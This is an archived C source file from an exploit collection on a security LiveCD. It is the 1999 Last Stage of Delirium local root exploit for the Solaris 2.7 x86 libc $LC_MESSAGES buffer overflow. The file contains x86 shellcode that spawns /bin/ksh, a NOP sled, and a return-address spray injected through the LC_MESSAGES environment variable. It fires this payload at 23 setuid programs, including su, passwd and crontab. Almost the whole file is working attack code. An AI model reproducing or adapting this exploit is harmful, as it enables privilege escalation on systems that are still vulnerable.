home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / libc2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  119 lines
  1. /*## copyright LAST STAGE OF DELIRIUM aug 1999 poland        *://lsd-pl.net/ #*/
  2. /*## libc.so $LC_MESSAGES                                                    #*/
  3.  
  4. #define NOPNUM 4000
  5. #define ADRNUM 4000
  6.  
  7. char shellcode[]=
  8.     "\xeb\x1b"             /* jmp     <shellcode+30>       */
  9.     "\x33\xd2"             /* xorl    %edx,%edx            */
  10.     "\x58"                 /* popl    %eax                 */
  11.     "\x8d\x78\x14"         /* leal    0x14(%eax),edi       */
  12.     "\x52"                 /* pushl   %edx                 */
  13.     "\x57"                 /* pushl   %edi                 */
  14.     "\x50"                 /* pushl   %eax                 */
  15.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  16.     "\x92"                 /* xchgl   %eax,%edx            */
  17.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  18.     "\x88\x42\x08"         /* movb    %al,0x8(%edx)        */
  19.     "\x83\xef\x3c"         /* subl    $0x3c,%edi           */
  20.     "\xb0\x9a"             /* movb    $0x9a,%al            */
  21.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  22.     "\x47"                 /* incl    %edi                 */
  23.     "\xb0\x07"             /* movb    $0x7,%al             */
  24.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  25.     "\xb0\x3b"             /* movb    $0x3b,%al            */
  26.     "\xe8\xe0\xff\xff\xff" /* call    <shellcode+2>        */
  27.     "/bin/ksh"
  28. ;
  29.  
  30. char jump[]=
  31.     "\x8b\xc4"             /* movl    %esp,%eax            */
  32.     "\xc3"                 /* ret                          */
  33. ;
  34.  
  35. main(int argc,char **argv){
  36.     char buffer[10000],adr[4],*b,*envp[3];
  37.     int i,n=-1;
  38.  
  39.     printf("copyright LAST STAGE OF DELIRIUM aug 1999 poland  //lsd-pl.net/\n");
  40.     printf("libc.so $LC_MESSAGES for solaris 2.7 x86\n\n");
  41.  
  42.     if(argc!=2){
  43.         printf("usage: %s {list_devices|deallocate|traceroute|mkdevmaps|"
  44.             "mkdevalloc|allocate|volrmmount|volcheck|nispasswd|yppasswd|"
  45.             "su|rcp|fdformat|eject|crontab|atrm|atq|at|ufsdump|netpr|rlogin|"
  46.             "passwd|rsh}\n",argv[0]);
  47.         exit(-1);
  48.     }
  49.     if(!strcmp(argv[1],"list_devices")) n=0;
  50.     if(!strcmp(argv[1],"deallocate")) n=1;
  51.     if(!strcmp(argv[1],"traceroute")) n=2;
  52.     if(!strcmp(argv[1],"mkdevmaps")) n=3;
  53.     if(!strcmp(argv[1],"mkdevalloc")) n=4;
  54.     if(!strcmp(argv[1],"allocate")) n=5;
  55.     if(!strcmp(argv[1],"volrmmount")) n=6;
  56.     if(!strcmp(argv[1],"volcheck")) n=7;
  57.     if(!strcmp(argv[1],"nispasswd")) n=8;
  58.     if(!strcmp(argv[1],"yppasswd")) n=9;
  59.     if(!strcmp(argv[1],"su")) n=10;
  60.     if(!strcmp(argv[1],"rcp")) n=11;
  61.     if(!strcmp(argv[1],"fdformat")) n=12;
  62.     if(!strcmp(argv[1],"eject")) n=13;
  63.     if(!strcmp(argv[1],"crontab")) n=14;
  64.     if(!strcmp(argv[1],"atrm")) n=15;
  65.     if(!strcmp(argv[1],"atq")) n=16;
  66.     if(!strcmp(argv[1],"at")) n=17;
  67.     if(!strcmp(argv[1],"ufsdump")) n=18;
  68.     if(!strcmp(argv[1],"netpr")) n=19;
  69.     if(!strcmp(argv[1],"rlogin")) n=20;
  70.     if(!strcmp(argv[1],"passwd")) n=21;
  71.     if(!strcmp(argv[1],"rsh")) n=22;
  72.     if(n==-1) exit(-1);
  73.  
  74.     *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+2812+2000;
  75.  
  76.     envp[0]=&buffer[0];
  77.     envp[1]=&buffer[5000];
  78.     envp[2]=0;
  79.  
  80.     b=&buffer[0];
  81.     sprintf(b,"xxx=");
  82.     b+=4;
  83.     for(i=0;i<NOPNUM;i++) *b++=0x90;
  84.     for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; 
  85.     *b=0;
  86.  
  87.     b=&buffer[5000];
  88.     sprintf(b,"LC_MESSAGES=");
  89.     b+=12;
  90.     for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
  91.     *b=0;
  92.  
  93.     switch(n){
  94.     case 0: execle("/usr/sbin/list_devices","lsd",0,envp);
  95.     case 1: execle("/usr/sbin/deallocate","lsd",0,envp);
  96.     case 2: execle("/usr/sbin/traceroute","lsd",0,envp);
  97.     case 3: execle("/usr/sbin/mkdevmaps","lsd",0,envp);
  98.     case 4: execle("/usr/sbin/mkdevalloc","lsd",0,envp);
  99.     case 5: execle("/usr/sbin/allocate","lsd",0,envp);
  100.     case 6: execle("/usr/bin/volrmmount","lsd",0,envp);
  101.     case 7: execle("/usr/bin/volcheck","lsd",0,envp);
  102.     case 8: execle("/usr/bin/nispasswd","lsd",0,envp);
  103.     case 9: execle("/usr/bin/yppasswd","lsd",0,envp);
  104.     case 10: execle("/usr/bin/su","lsd",0,envp);
  105.     case 11: execle("/usr/bin/rcp","lsd",0,envp);
  106.     case 12: execle("/usr/bin/fdformat","lsd",0,envp);
  107.     case 13: execle("/usr/bin/eject","lsd",0,envp);
  108.     case 14: execle("/usr/bin/crontab","lsd",0,envp);
  109.     case 15: execle("/usr/bin/atrm","lsd",0,envp);
  110.     case 16: execle("/usr/bin/atq","lsd",0,envp);
  111.     case 17: execle("/usr/bin/at","lsd",0,envp);
  112.     case 18: execle("/usr/lib/fs/ufs/ufsdump","lsd",0,envp);
  113.     case 19: execle("/usr/lib/lp/bin/netpr","lsd",0,envp);
  114.     case 20: execle("/usr/bin/rlogin","lsd",0,envp);
  115.     case 21: execle("/bin/passwd","lsd",0,envp);
  116.     case 22: execle("/bin/rsh","lsd",0,envp);
  117.     }
  118. }
  119. /*                    www.hack.co.za           [10 August 2000]*/